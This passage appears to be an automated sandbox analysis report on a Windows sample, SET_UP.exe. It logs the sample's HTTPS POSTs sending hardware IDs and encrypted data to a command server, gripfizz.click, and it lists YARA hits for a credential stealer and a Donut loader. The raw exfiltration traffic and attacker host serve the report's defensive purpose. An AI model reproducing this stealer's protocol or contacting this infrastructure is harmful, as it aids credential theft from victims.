Ascii: aGUH+UKox9qeY+ysx38Rl1o2j+aKbvDnrbmiH61R80ToexUtAy2Gy5Pmr/6JNQhVF2Tb5x+7LrJtv+Ift5JhAb6pQL+H6NJFwLMpP1CqjNBWZp4jXiu3ZH899gh8AbNT6GyVKtc6kksXczk7UixUxEAxC2EJ/q6kbaomminG81ZofMX4R2iCj5Py4KDPfALRECFQaVu+feB4eGEM+QHgwb39FqzAORREQzE/IJUqh4CD9RKmGft/ZHnve886g+a
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 79 7a 53 4b 63 62 4f 6b 71 50 71 72 35 64 31 44 68 6c 57 5a 4e 2b 6a 58 6e 30 39 62 6e 49 35 63 73 6f 36 51 36 62 45 4b 48 36 56 50 78 50 2f 44 42 6f 42 4d 79 44 38 31 72 79 52 68 6f 58 6f 58 79 56 5a 2b 54 73 6c 72 76 58 78 69 48 6d 48 35 30 57 37 76 52 61 73 77 6e 6b 55 58 6f 43 7a 4c 69 73 57 72 4a 57 45 41 7a 42 4c 4d 77 35 73 65 58 4a 37 37 44 65 5a 72 39 62 77 30 48 7a 39 45 79 7a 53 4b 63 62 4f 6b 71 50 71 72 35 64 31 44 68 6c 57 5a 4e 2b 6a 58 6e 30 39 63 6a 59 78 75 6b 59 32 52 79 4f 44 2b 2b 7a 41 75 4a 50 36 6b 6b 6e 44 4e 53 46 2f 56 4b 71 4f 51 77 58 6a 44 2f 44 4b 64 62 35 69 66 6a 33 33 6a 65 71 4c 6f 4d 47 34 4b 49 45 35 41 44 72 4a 78 35 74 7a 50 4c 39 48 4b 70 65 45 42 6e 55 65 34 6f 70 75 36 72 56 72 61 57 62 63 62 64 62 6b 6b 2f 34 39 Data Ascii: yzSKcbOkqPqr5d1DhlWZN+jXn09bnI5cso6Q6bEKH6VPxP/DBoBMyD81ryRhoXoXyVZ+TslrvXxiHmH50W7vRaswnkUXoCzLisWrJWEAzBLMw5seXJ77DeZr9bw0Hz9EyzSKcbOkqPqr5d1DhlWZN+jXn09cjYxukY2RyOD++zAuJP6kknDNSF/VKqOQwXjD/DKdb5ifj33jeqLoMG4KIE5ADrJx5tzPL9HKpeEBnUe4opu6rVraWbcbdbkk/49
2024-12-27 19:33:15 UTC	1369	IN	Data Raw: 6b 4a 44 70 4c 6e 4c 2f 39 56 4b 6f 4b 41 67 2f 55 63 6f 6c 75 38 2f 6e 4c 38 65 72 50 5a 76 68 48 6c 45 48 33 39 45 79 67 51 65 51 62 61 42 54 4d 2b 37 4d 58 36 77 56 4d 56 49 5a 74 6e 57 72 31 2b 63 44 49 7a 75 55 30 34 42 6d 4f 51 39 43 35 45 4f 55 61 70 78 6b 76 63 72 4b 52 72 78 33 36 42 51 42 37 6b 33 4b 58 56 39 33 4e 6c 76 48 67 69 67 44 6b 48 34 35 42 72 2f 51 4d 73 31 66 6b 4a 44 70 4c 6e 4c 2f 2f 4e 75 30 4c 54 68 65 4c 4d 59 49 70 39 62 72 66 70 62 36 49 4e 4b 64 52 7a 55 62 69 70 67 62 31 44 4c 49 4b 62 33 4b 79 6b 61 38 64 2b 67 55 41 5a 70 6c 37 6a 58 7a 67 36 6f 44 49 7a 75 55 30 34 42 6d 4f 51 38 53 4f 56 73 49 5a 70 77 6b 6d 53 38 7a 79 2f 51 4b 71 58 67 4a 36 68 6e 69 4c 61 71 48 66 76 62 54 42 33 69 58 6e 42 34 70 42 72 2f 51 59 73 31 Data Ascii: kJDpLnL/9VKoKAg/Ucolu8/nL8erPZvhHlEH39EygQeQbaBTM+7MX6wVMVIZtnWr1+cDIzuU04BmOQ9C5EOUapxkvcrKRrx36BQB7k3KXV93NlvHgigDkH45Br/QMs1fkJDpLnL//Nu0LTheLMYIp9brfpb6INKdRzUbipgb1DLIKb3Kyka8d+gUAZpl7jXzg6oDIzuU04BmOQ8SOVsIZpwkmS8zy/QKqXgJ6hniLaqHfvbTB3iXnB4pBr/QYs1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:16 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A22UFWYL0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18110 Host: gripfizz.click
2024-12-27 19:33:16 UTC	15331	OUT	Data Raw: 2d 2d 41 32 32 55 46 57 59 4c 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 35 37 34 46 34 45 30 33 30 39 46 31 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 41 32 32 55 46 57 59 4c 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 32 32 55 46 57 59 4c 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 41 32 32 55 46 57 59 4c 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --A22UFWYL0Content-Disposition: form-data; name="hwid"671F574F4E0309F1D9AC212D15D33917--A22UFWYL0Content-Disposition: form-data; name="pid"2--A22UFWYL0Content-Disposition: form-data; name="lid"hRjzG3--ELVIRA--A22UFWYL0Content-Dis
2024-12-27 19:33:16 UTC	2779	OUT	Data Raw: 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V
2024-12-27 19:33:17 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p1cqedilq23gf2jfm90s11mm6c; expires=Tue, 22 Apr 2025 13:19:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NC3uppEG0h%2FCJxvoh2xWejUfZW8p4ifUKrpz3DVjNfaKQsme6chfMzq7zxxzC4ks4gbVhjr51bquJYWDztH3WhMSLEoXiB6Nip2w5ORhFGig5A2%2FAt95S7zF2liYUbdwlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8bbdca8e91c32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&min_rtt=1545&rtt_var=597&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19061&delivery_rate=1889967&cwnd=178&unsent_bytes=0&cid=16afb77f42c55db8&ts=960&x=0"
2024-12-27 19:33:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:33:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:18 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VZ5FHKCGBYH4MDV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8767 Host: gripfizz.click
2024-12-27 19:33:18 UTC	8767	OUT	Data Raw: 2d 2d 56 5a 35 46 48 4b 43 47 42 59 48 34 4d 44 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 35 37 34 46 34 45 30 33 30 39 46 31 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 56 5a 35 46 48 4b 43 47 42 59 48 34 4d 44 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 5a 35 46 48 4b 43 47 42 59 48 34 4d 44 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 56 5a 35 46 Data Ascii: --VZ5FHKCGBYH4MDVContent-Disposition: form-data; name="hwid"671F574F4E0309F1D9AC212D15D33917--VZ5FHKCGBYH4MDVContent-Disposition: form-data; name="pid"2--VZ5FHKCGBYH4MDVContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--VZ5F
2024-12-27 19:33:19 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0er3rft4dhpbnvvc6d26sh5n1b; expires=Tue, 22 Apr 2025 13:19:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wfwtDCTQuKtF8R4Gh45rkkJOEL8uj4HWJG5yu%2FgiFrY1I0gVHwz7BpilB1qZ2DDugCBGlF5bT1RhpcNLUyFW6KlgyU2icDri6p8VfBxP9WmNQfUKYbIYM7tuV%2B96BI8Pbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8bbdd938e478e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1900&min_rtt=1900&rtt_var=713&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2836&recv_bytes=9701&delivery_rate=1533613&cwnd=230&unsent_bytes=0&cid=fd1d856139df0eb6&ts=858&x=0"
2024-12-27 19:33:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:33:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:21 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VEL4IOB3B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20384 Host: gripfizz.click
2024-12-27 19:33:21 UTC	15331	OUT	Data Raw: 2d 2d 56 45 4c 34 49 4f 42 33 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 35 37 34 46 34 45 30 33 30 39 46 31 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 56 45 4c 34 49 4f 42 33 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 45 4c 34 49 4f 42 33 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 56 45 4c 34 49 4f 42 33 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --VEL4IOB3BContent-Disposition: form-data; name="hwid"671F574F4E0309F1D9AC212D15D33917--VEL4IOB3BContent-Disposition: form-data; name="pid"3--VEL4IOB3BContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--VEL4IOB3BContent-Dis
2024-12-27 19:33:21 UTC	5053	OUT	Data Raw: 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 Data Ascii: lrQMn 64F6(X&7~`aO@dR<x)
2024-12-27 19:33:22 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vh3ikdjaslsevh0mf6v2ikce6j; expires=Tue, 22 Apr 2025 13:20:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rCPiz6vY0dKXu2%2BcJErJ9srdf9qrHyEXRjqGu584jgeeFkt8amf6OIUhmCEoCLVlcXOeXpTQ6nEypEPXScyrU5eEherFJf2ELrUtDw6l%2BFB9NX%2FwXNYGuijCuprfFMrXqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8bbdeaa8e718bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29592&min_rtt=1781&rtt_var=17251&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21335&delivery_rate=1639528&cwnd=250&unsent_bytes=0&cid=4e5fc1016e562e33&ts=1081&x=0"
2024-12-27 19:33:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:33:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:24 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HKS0RFHU2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1213 Host: gripfizz.click
2024-12-27 19:33:24 UTC	1213	OUT	Data Raw: 2d 2d 48 4b 53 30 52 46 48 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 35 37 34 46 34 45 30 33 30 39 46 31 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 48 4b 53 30 52 46 48 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 4b 53 30 52 46 48 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 48 4b 53 30 52 46 48 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --HKS0RFHU2Content-Disposition: form-data; name="hwid"671F574F4E0309F1D9AC212D15D33917--HKS0RFHU2Content-Disposition: form-data; name="pid"1--HKS0RFHU2Content-Disposition: form-data; name="lid"hRjzG3--ELVIRA--HKS0RFHU2Content-Dis
2024-12-27 19:33:25 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=562dthbv1c7njj4jctmmmvoqdl; expires=Tue, 22 Apr 2025 13:20:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o0%2FsS0ibzA5YCuMKU%2F965U4LtaX%2BsNHyJRuhgPxXVN9v4IjU2jX6WfIPQud3fFihCzMbJcRrA2Or%2BZl73q6M6GQWrn13uji3Wr1DedcvJ%2FZw9SyjmyYvUTWkohrIFIfkIg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8bbdfdee265e70-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1697&rtt_var=650&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2119&delivery_rate=1665715&cwnd=228&unsent_bytes=0&cid=af80df0534d174a7&ts=1106&x=0"
2024-12-27 19:33:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:33:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:27 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0EEXBT3DHN0HGR8LE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1097 Host: gripfizz.click
2024-12-27 19:33:27 UTC	1097	OUT	Data Raw: 2d 2d 30 45 45 58 42 54 33 44 48 4e 30 48 47 52 38 4c 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 35 37 34 46 34 45 30 33 30 39 46 31 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 30 45 45 58 42 54 33 44 48 4e 30 48 47 52 38 4c 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 45 45 58 42 54 33 44 48 4e 30 48 47 52 38 4c 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a Data Ascii: --0EEXBT3DHN0HGR8LEContent-Disposition: form-data; name="hwid"671F574F4E0309F1D9AC212D15D33917--0EEXBT3DHN0HGR8LEContent-Disposition: form-data; name="pid"1--0EEXBT3DHN0HGR8LEContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA
2024-12-27 19:33:28 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cff6jbfgebr6uj04fom142oe50; expires=Tue, 22 Apr 2025 13:20:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HLujiHXDaUs3dUT42haLtuWghxEsqL4cLIeo1SwvIVpexQQC1TrmMFU2PqMzyTKdea7xdhMDmaXFAZAqqVFeIxSIZlHzKcIuruQoHIBy%2B3ygbxuuUnS2QL%2BerJhB2trMhw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8bbe0e5a9141f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2081&min_rtt=2071&rtt_var=796&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2011&delivery_rate=1357508&cwnd=223&unsent_bytes=0&cid=a4d5353c0faeaca3&ts=797&x=0"
2024-12-27 19:33:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 19:33:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	172.67.152.152	443	6428	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:33:29 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 115 Host: gripfizz.click
2024-12-27 19:33:29 UTC	115	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 26 68 77 69 64 3d 36 37 31 46 35 37 34 46 34 45 30 33 30 39 46 31 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--ELVIRA&j=efdebde057a1df3f7c15b7f4da907c2d&hwid=671F574F4E0309F1D9AC212D15D33917

Target ID:	0
Start time:	14:33:02
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\SET_UP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SET_UP.exe"
Imagebase:	0x70000
File size:	74'900'688 bytes
MD5 hash:	CD56E21DFE1460FC3EFA75A47C94636A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1880108911.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2272600954.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.3%
Total number of Nodes:	60
Total number of Limit Nodes:	3

Executed Functions

Function 000773D0 Relevance: 4.2, APIs: 2, Instructions: 1199
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(-00000001B9693223), ref: 00077BE7
VirtualAlloc.KERNEL32(3DA07D5F,0004E86C,-00000001550F2D66,?,?,?,?,-00000001E2B0F6BD,?,?,0014B258,000714D5,00000010), ref: 0007825F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressAllocProcVirtual
